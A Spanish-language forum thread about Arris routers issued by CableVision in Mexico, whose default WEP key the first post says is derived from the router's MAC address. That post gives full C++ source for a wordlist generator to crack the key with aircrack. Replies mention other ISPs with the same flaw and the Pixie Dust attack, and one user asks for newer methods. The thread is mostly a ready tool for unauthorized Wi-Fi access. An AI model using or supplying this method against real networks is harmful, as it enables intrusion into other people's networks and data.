Autor Tema: Vulnerabilidad en Routers Arris de la Compañia CableVision "Mexico"  (Leído 10198 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Mr-x

  • Mensajes: 1
  • Liked: 2
Hago este post para todos los usuarios avanzados y no tan avanzados que se interesan por la seguridad de sus redes inalambricas y de la privacidad de sus datos.

Para empezar como lo dice el titulo encontre en internet una vulnerabilidad en los routers de la compañia CableVision la cual Otorga Routers de marca Arris a sus usuarios el problema es que la WEP-KEY es igual que la MAC Address del Router pero empieza con m y solo puede cambiar los ultimos dos caracteres de la mac (Los cuales estan es Hexadecimal) si aun no me entiendes voy a poner un ejemplo:

Supongamos que te llega la señal de una red WI-FI con nombre InterCable102710 y la MAC del Router es
00:1D:D2:57:64:E0

esto quiere decir que la contraseña por default es m001dd25764XX
Donde XX son los caracteres que pueden Variar

Obviamente la WEP-KEY puede ser crackeada en cuestion de minutos con aircrack y un diccionario con las todas posibles conbinaciones para ello diseñe un script en C el cual te permite crear ese diccionario el resto depende de tus conociminetos y habilidad con aircrack.

Este es el codigo fuente para crear los diccionarios.
Código: [Seleccionar]
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

using namespace std;

void Banner();
bool VerifyMac(int charPosition);
void MakeDictionary(char mac[10]);

int main(int argc, char *argv[])
{
    unsigned short int characterPosition = 0;   //Contador: Indice general para controlar Bucles
    unsigned short int imac = 0;                //Contador: Indice de la mac Modificada
    char mac[18] = "11:22:33:44:55:66";           //MAC Address del Router
    char macModificada[10];              //MAC address sin los puntos ':' y sin los Ultimos dos caracteres
    char *p;
    bool bandera;

    Banner();
    cout << "\n\nEscribe La MAC Address del Router: " << endl;
    cin >> mac;

    while(characterPosition < 15){
        //si el caracter es ':' bandera es true
        bandera = VerifyMac(characterPosition);

        if(!bandera){
            //Pasamos los caracteres a una variable nueva sin los puntos ':'
            p = &mac[characterPosition];
            macModificada[imac] = *p;
            imac++;
        }
        characterPosition++;
    }
    macModificada[10]=0;

    //printf("Mac \t\t= %s\n",mac);
    //printf("Mac Modificada\t= %s\n",macModificada);
    //Creamos el Diccionario
    MakeDictionary(macModificada);
    return 0;
}

void MakeDictionary(char mac[10]){

    short int caracteres[15];               //Codigo ascii de los caracteres del sistema HEXADECIMAL
    short int index = 0;                    //Contador Para bucles For

    //Asignamos los numeros 0-9 en el array caracteres
    for(short int ascii_code = 48; ascii_code <= 57; ascii_code++){
        caracteres[index] = ascii_code;
        index++;
    }

    //asignamos las letras de a-f en el array caracteres
    for(short int ascii_code = 97; ascii_code <= 102; ascii_code++){
        caracteres[index] = ascii_code;
        index++;
    }

    FILE *fichero;
    fichero = fopen("dic.txt","w");
        for(int cont1 = 0 ;cont1 <= 15; cont1++){
            for(int cont2 = 0 ;cont2 <= 15; cont2++){
                fputc(109,fichero);                 //caracter M
                fputs(mac, fichero);
                fputc(caracteres[cont1],fichero);
                fputc(caracteres[cont2],fichero);
                fputc(10,fichero);                    //salto de linea
            }
        }

    fclose(fichero);
}

bool VerifyMac(int position){

    int positions[]={2,5,8,11,14};
    bool flag = false;

    for(int i = 0; i < 5; i++){
        if(positions[i] == position){
        flag = true;
        break;
        }
    }

    return flag;
}

void Banner(){
    cout << "    _              _        ____                _                " << endl;
    cout << "   / \\   _ __ _ __(_)___   / ___|_ __ __ _  ___| | _____ _ __   " << endl;
    cout << "  / _ \\ | '__| '__| / __| | |   | '__/ _` |/ __| |/ / _ \\ '__| " << endl;
    cout << " / ___ \\| |  | |  | \\__ \\ | |___| | | (_| | (__|   <  __/ |   " << endl;
    cout << "/_/   \\_\\_|  |_|  |_|___/  \\____|_|  \\__,_|\\___|_|\\_\\___|_|"<< endl;
}
« Última Modificación: octubre 24, 2017, 07:06:07 pm por Mr-x »

hkm

  • Moderador
  • *
  • Mensajes: 1245
  • Liked: 292
    • Hakim.Ws
Re:Vulnerabilidad en Routers Arris de la Compañia CableVision "Mexico"
« Respuesta #1 : octubre 11, 2017, 04:05:46 pm »
Varios provedores de cable en Mexico usan la MAC o variación de la MAC de WEP/WPA.

Existen post en el foro que comentan al respecto e incluso hay codigo fuente por aquí para identificar rápidamente la clave inalámbrica de estos dispostivos.

Saludos.


12_v0lt5

  • ***
  • Mensajes: 429
  • Liked: 47
Re:Vulnerabilidad en Routers Arris de la Compañia CableVision "Mexico"
« Respuesta #2 : enero 01, 2018, 08:59:10 pm »
el arris se abre de forma sencilla con pixeldust, que viene con el wifi slax pero de cualquier forma es interesante tu método
La información es poder!

kanzer

  • no me han domesticado aun!!
  • ***
  • Mensajes: 396
  • Liked: 1
  • guacala que rico :p
Re:Vulnerabilidad en Routers Arris de la Compañia CableVision "Mexico"
« Respuesta #3 : enero 03, 2019, 08:40:10 pm »
el arris se abre de forma sencilla con pixeldust, que viene con el wifi slax pero de cualquier forma es interesante tu método

Ya no son vulnr con este metodo, sabes de otro